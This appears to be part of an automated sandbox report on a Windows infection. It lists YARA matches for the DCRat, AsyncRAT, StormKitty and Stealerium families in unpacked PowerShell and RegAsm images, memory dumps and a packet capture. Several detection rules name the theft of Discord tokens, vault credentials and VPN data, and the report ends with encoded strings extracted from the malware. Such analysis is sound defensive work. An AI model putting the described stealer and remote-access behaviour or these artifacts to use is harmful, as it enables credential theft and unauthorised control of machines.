Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_05C40ED8	13_2_05C40ED8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_06DF7460	13_2_06DF7460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_06DF0040	13_2_06DF0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_06DF0007	13_2_06DF0007

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: dump.pcap, type: PCAP	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: dump.pcap, type: PCAP	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.powershell.exe.1c501c9e7c8.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.powershell.exe.1c5004d8480.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.powershell.exe.1c501c98be0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.powershell.exe.1c501b214a6.5.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.powershell.exe.1c5004892b0.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.powershell.exe.1c500485e26.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 13.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.powershell.exe.1c5103539f2.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.powershell.exe.1c510a4149a.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.powershell.exe.1c500485e26.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.powershell.exe.1c51061fcd8.11.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 13.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.powershell.exe.1c51061fcd8.11.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_References_VPN author = ditekSHen, description = Detects executables referencing many VPN software clients. Observed in infosteslers
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 5.2.powershell.exe.1c510743a62.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.powershell.exe.1c501b214a6.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000005.00000002.2178090838.000001C5102FE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 0000000D.00000002.4505089021.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000005.00000002.2178090838.000001C51061F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: powershell.exe PID: 7580, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: powershell.exe PID: 7580, type: MEMORYSTR	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: RegAsm.exe PID: 7796, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: Process Memory Space: RegAsm.exe PID: 7796, type: MEMORYSTR	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: 5.2.powershell.exe.1c572930000.13.raw.unpack, ClasserPlus.cs	Base64 encoded string: 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq'
Source: 5.2.powershell.exe.1c501b250c0.3.raw.unpack, Knvbl.cs	Base64 encoded string: 'IRQ9Cw9OEAk5NAkfW0JeNSExPk9udR8pBz4bDh0fMi4DOWpkIRBmXlJaJC8RNAR2CAwxCCYaVTcHRmFGBBg7B2IWd25+CnVuI3xtUzcFCU1mXnliOWpEF255dyN3fFZHSXdhNERtfkJzf1VxYGhCYFZdRC5CMFk/IixfFGZtel/eiu6B16OTq7q2goDJ4ruarbjZ2tyj073egLSCpcSWvKeinurcifSvm7WCv4SRpOb48eXv0eXU7qOJgrGitdGFj/b53cyqxtnVrLOrwufk+fzmndGA8OzIq6K99snS0vOGjt3Ys/nKjor5xNuD16HYzcXhy9XVzp6clbaB753IizloZlRCam9jXx1cKQIIOmAbFDArNjlbAiciCCtmCxofPjxHWkwTDjIfDG9wCxR8JgEBbx4YCFpMcH5tfVNUB0t5BTgKXx4yYVRifE55Xn1CQRZXZkdcA2EuLzpVdndoc1cuYDdBX3kWPC1kZVpNdUI8XXVvREoOPipePTdVeXRhva6Hs7W05s/P3szk5bK4yuqC8v7Y74X3p7OFrK6V0oe+vqOIo6OVkbCMsfyRub2XgfvPwZiyqoeHwfPz+7ClsvnDwMDFlaez8aCunIr/s6m7sKalnc7d9tz488OQ9NrV+Mj6r9z66/L+9pCb+szC7PvT3cr2w+nQ55TW+e6Z/944DxBoZVtNYlhrCE92RBVUZGdbCE8zAy5eEDFtNx8nbzYADiAvBzgaRiEbFggUMx4KIn8iaxpoeHpSW09KdCU5CQl0Bj5WJipUZhNXYEIsRWB/ZH9bN1xnZXBPRU5WCX5+WlR4SEdwTz5MLi4aLn0PHT1TOzMiMBgRHS09E0ZWMKO8rOedrcrql7iBtISGvpvt99T8/fHB0ffwpa3Z543/ze3YsMTI6t27y6enqZmEqPrMytvf1MLB8aLhz8r0peS0t4nUy8jD/b6VvvKlqZmJv7i2hJK6v7ON0fbtz8D74vPFxe7prrOvr76shIWJuamfmJakspjh88abvurW4uj8Ah8sJQUuAQMGQk1FaXd9VGRnWwhPYWBeA0Jubw03AQkjIzwNAiQNICwnYWxiSFRca0VEei9uQkFxImFPSCgVITYTSnJ5d2dCd3xIbkpuTWNtYAkpYhAsRDg0FiFPPTMTGnIAQnpeRUBeYHB4WFRAX1pibRMMERo7AmoaFjAHbR/tzfiSpd/PmL+osrGkqK64j5LL+tvF+f78ztz09fnJ2c/IxJimt5aNk7CshbmTtpWQnIuBq+7Mgf3DqdvR8cSsoKyOuden8vj9y/zfkOvi+cXK+NXhzMaCrpTruYWWu4+CuKmGtIe/rtvu+/z66u77z/L82qnf2tHF9tDRnre6hUkaWXdyTB1cfH9DEFULMyoYLBE6Hyw1NysTH0BHYHNTWjJCTmhfaCdoWHNgSX0REVNMVHVbXFIwLGN3Kns0ZQ9xZGhPYVphC3tOTgBbQUpuW3ZqCGt/XF9wcQ1XTEddcw1tQWB9WHJ0QGRtf3BNBz09QBAqPxB2R0V4W1siO1V